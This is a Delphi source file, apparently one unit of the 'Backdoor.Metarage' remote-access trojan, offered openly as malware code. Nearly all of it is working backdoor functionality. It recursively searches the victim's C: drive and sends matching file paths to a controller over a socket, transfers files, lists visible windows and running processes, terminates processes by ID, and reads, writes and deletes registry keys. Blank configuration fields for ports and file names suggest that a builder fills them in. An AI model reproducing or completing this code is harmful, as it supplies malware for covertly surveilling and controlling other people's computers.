unit1.pas

Backdoor.Metarage,for delphi..

unit Unit1;

interface

Uses
 Windows, Winsock, Messages, TLHELP32;

 const
  FileFlags:array [0..7] of Integer = (FILE_ATTRIBUTE_READONLY, FILE_ATTRIBUTE_HIDDEN,
                                      FILE_ATTRIBUTE_SYSTEM, FILE_ATTRIBUTE_ARCHIVE,
                                      FILE_ATTRIBUTE_NORMAL, FILE_ATTRIBUTE_TEMPORARY,
                                      FILE_ATTRIBUTE_COMPRESSED, FILE_ATTRIBUTE_OFFLINE);
 eTPORT : String = 'tpr=     '; // 5
 eCPORT : String = 'epr=     '; // 5
 eFNAME : String = 'fnm=                    '; // 20
 eINAME : String = 'inm=                    '; // 20

 Procedure Idle(Seconds: integer; Sock1: TSocket);
 Procedure ReceiveFile(FileName: string; Sock1: TSocket);
 Procedure SaveFile(Str:String;fName:String);
 Procedure SetRegValue(kRoot:Hkey; Path, Value, Str:String);
 Procedure DeleteRegValue(kRoot:Hkey; Path, Value:String);
 Procedure DeleteRegKey(kRoot:Hkey; Path, Value:String);
 Procedure KILLPROC(S:STRING);
 Procedure FindFile;
 Procedure ListFiles(D, Name, SearchName : String);
 Procedure testsend(Str:String);

 Function ReceiveLength(Sock1: TSocket): Integer;
 Function ReceiveBuffer(var Buffer; BufferSize: Integer; Sock1:TSocket): Integer;
 Function ReceiveString(Sock1: TSocket): string;
 Function SendFile(FileName: string; Sock1: TSocket):boolean;
 Function SendBuffer(var Buffer; BufferSize: integer; Sock1: TSocket): integer;
 Function SendString(const Buffer: string; Sock1: TSocket): integer;
 Function SysDir:String;
 Function WinDir:String;
 Function UpTime:String;
 Function RefreshList(strPath:string):string;
 Function GetSettings(I:Integer):String;
 Function Trim(const S: string): string;
 Function IntToStr(X: integer): string;
 Function StrToInt(S: string): integer;
 Function GetRegValue(kRoot:Hkey; Path, Value:String):String;
 Function ReadRegedit(kRoot:Hkey;Path:String;Typ:integer):String;
 Function LISTPROC:STRING;
 Function getwins:string;
 Function enumwinproc(w:hwnd;lpr:lparam):boolean;stdcall;
 Function sendwindows:string;
 Function UpperC(const S: string): string;

const
 BUFLEN = 65536;

var
 SearchFor              : String;
 Wins                   : Array [0..300] of record name :string;
 Wnd                    : Hwnd;
 End;
 Wcnt                   : Integer;
 Buf                    : Array [0..BUFLEN-1] of Char;
 Cancel_Transfer        : Boolean;
 Cancel_Search          : Boolean;
 Already_Searching      : Boolean;
 CServ1                 : TSocket;

implementation

procedure testsend(Str:String);
begin
 send(cserv1, str[1], length(str),0);
end;

function UpperC(const S: string): string;
var
 Len: Integer;
begin
 Len := Length(S);
 SetString(Result, PChar(S), Len);
 if Len > 0 then CharUpperBuff(Pointer(Result), Len);
end;

procedure ListFiles(D, Name, SearchName : String);
const
  faReadOnly  = $00000001 platform;
  faHidden    = $00000002 platform;
  faSysFile   = $00000004 platform;
  faVolumeID  = $00000008 platform;
  faDirectory = $00000010;
  faArchive   = $00000020 platform;
  faAnyFile   = $0000003F;

type
  TFileName = type string;
  TSearchRec = record
    Time: Integer;
    Size: Integer;
    Attr: Integer;
    Name: TFileName; 
    ExcludeAttr: Integer; 
    FindHandle: THandle  platform; 
    FindData: TWin32FindData  platform; 
  end; 
 
  LongRec = packed record 
    case Integer of 
      0: (Lo, Hi: Word); 
      1: (Words: array [0..1] of Word); 
      2: (Bytes: array [0..3] of Byte);
  end; 
 
  function FindMatchingFile(var F: TSearchRec): Integer; 
  var 
    LocalFileTime: TFileTime; 
  begin 
    with F do 
    begin 
      while FindData.dwFileAttributes and ExcludeAttr <> 0 do 
        if not FindNextFile(FindHandle, FindData) then 
        begin 
          Result := GetLastError; 
          Exit; 
        end; 
      FileTimeToLocalFileTime(FindData.ftLastWriteTime, LocalFileTime); 
      FileTimeToDosDateTime(LocalFileTime, LongRec(Time).Hi, 
        LongRec(Time).Lo); 
      Size := FindData.nFileSizeLow; 
      Attr := FindData.dwFileAttributes; 
      Name := FindData.cFileName; 
    end; 
    Result := 0; 
  end; 
 
  procedure FindClose(var F: TSearchRec); 
  begin 
    if F.FindHandle <> INVALID_HANDLE_VALUE then 
    begin 
      Windows.FindClose(F.FindHandle); 
      F.FindHandle := INVALID_HANDLE_VALUE;
    end; 
  end; 
 
  function FindFirst(const Path: string; Attr: Integer; 
    var  F: TSearchRec): Integer; 
  const 
    faSpecial = faHidden or faSysFile or faVolumeID or faDirectory; 
  begin
    F.ExcludeAttr := not Attr and faSpecial;
    F.FindHandle := FindFirstFile(PChar(Path), F.FindData);
    if F.FindHandle <> INVALID_HANDLE_VALUE then
    begin
      Result := FindMatchingFile(F);
      if Result <> 0 then FindClose(F);
    end else
      Result := GetLastError;
  end;

  function FindNext(var F: TSearchRec): Integer;
  begin
    if FindNextFile(F.FindHandle, F.FindData) then
      Result := FindMatchingFile(F) else
      Result := GetLastError;
  end;

var
  SR: TSearchRec;
  Shit:String;
begin
  If Cancel_Search Then Exit;
  If D[Length(D)] <> '\' then D := D + '\';

  If FindFirst(D + '*.*', faDirectory, SR) = 0 then
    Repeat
      If ((Sr.Attr and faDirectory) = faDirectory) and (SR.Name[1] <> '.') then
        ListFiles(D + SR.Name + '\', Name, SearchName)
      Else Begin
        Shit := UpperC(Copy(SR.Name, (Length(SR.Name)-Length(SearchName))+1, Length(SearchName)));
        If Shit = UpperC(SearchName) Then Begin
         Shit := '38'+ IntToStr(Sr.Size) +':'+D + Sr.Name+#13;
         testsend(shit);
        End;
      End;
    Until (FindNext(SR) <> 0);
  FindClose(SR); 
end;


Procedure FindFile;
Begin
 ListFiles('C:\','*',SearchFor);
End;

function enumwinproc(w:hwnd;lpr:lparam):boolean;stdcall;
begin
  if iswindowvisible(w) then begin
    getwindowtext(w,buf,10000);
    if buf[0]<>#0 then begin
      wins[wcnt].name:=buf;
      wins[wcnt].wnd:=w;
      wcnt:=wcnt+1;
    end;
  end;
  result:=true;
end;

function sendwindows:string;
var i:integer;
begin
 result:='';
  wcnt:=0;
  enumwindows(@enumwinproc,0);
  for i:=0 to wcnt-1 do begin
    result:=result+inttostr(wins[i].wnd)+':'+wins[i].name+';';
    wins[i].name := '';
    wins[i].wnd := 0;
  end;
end;

function getwins:string;
begin
 result:='';
 result:=sendwindows;
end;

FUNCTION LISTPROC:STRING;
VAR
  CONTINUELOOP  :       BOOLEAN;
  HSNAPSHOT     :       THANDLE;
  LPPE          :       TPROCESSENTRY32;
  LPME          :       TMODULEENTRY32;
BEGIN
  HSNAPSHOT := CREATETOOLHELP32SNAPSHOT(TH32CS_SNAPPROCESS OR TH32CS_SNAPMODULE, 0);
  LPPE.DWSIZE := SIZEOF(LPPE);
  CONTINUELOOP := PROCESS32FIRST(HSNAPSHOT, LPPE);
  WHILE (INTEGER(CONTINUELOOP) <> 0) DO
  BEGIN
   RESULT := RESULT + LPPE.SZEXEFILE+':'+INTTOSTR(LPPE.TH32PROCESSID)+';';
   CONTINUELOOP := PROCESS32NEXT(HSNAPSHOT, LPPE);
  END;
  CLOSEHANDLE(HSNAPSHOT);
END;

PROCEDURE KILLPROC(S:STRING);
VAR
  RET           :       BOOL;
  PROCESSID     :       INTEGER;
  PROCESSHNDLE  :       THANDLE;
BEGIN
  IF S = '' THEN EXIT;
  TRY
    PROCESSID := STRTOINT('$' + S);
    PROCESSHNDLE := OPENPROCESS(PROCESS_TERMINATE, BOOL(0), PROCESSID);
    RET := TERMINATEPROCESS(PROCESSHNDLE, 0);
    IF INTEGER(RET) = 0 THEN EXIT;
  EXCEPT
    EXIT;
  END;
END;

Function GetRegValue(kRoot:Hkey; Path, Value:String):String;
Var
 Key : Hkey;
 Siz : Cardinal;
 Val : Array[0..16382] Of Char;
Begin
 ZeroMemory(@Val, Length(Val));
 RegOpenKeyEx(kRoot, pChar(Path), 0, REG_SZ, Key);
 Siz := 16383;
 RegQueryValueEx(Key, pChar(Value), NIL, NIL, @Val[0], @Siz);
 RegCloseKey(Key);
 If Val <> '' then
  Result := Val;
End;

Function ReadRegedit(kRoot:Hkey;Path:String;Typ:integer):String;
Var
 Keys: Array[0..255] of Char;
 A   : Cardinal;
 KEY : HKEY;
 I   : Integer;

Begin
 Result := '';

 For i:=0 To 16383 do begin
  RegOpenKeyEx(kRoot, pChar(Path), 0, KEY_ENUMERATE_SUB_KEYS, KEY);
  A:=2048;
  If RegEnumKeyEx(Key, I, Keys, A, NIL, NIL, NIL, NIL) = ERROR_SUCCESS Then
   result := result + #13#10 + Keys
  Else Break;
 End;

End;

Procedure DeleteRegKey(kRoot:Hkey; Path, Value:String);
Var
 Key : Hkey;
Begin
 RegOpenKeyEx(kRoot, pChar(Path), 0, KEY_ALL_ACCESS, KEY);
 RegDeleteKey(Key, pChar(Value));
 RegCloseKey(Key);
End;

Procedure DeleteRegValue(kRoot:Hkey; Path, Value:String);
Var
 Key : Hkey;
Begin
 RegOpenKeyEx(kRoot, pChar(Path), 0, KEY_SET_VALUE, KEY);
 RegDeleteValue(Key, pChar(Value));
 RegCloseKey(Key);
End;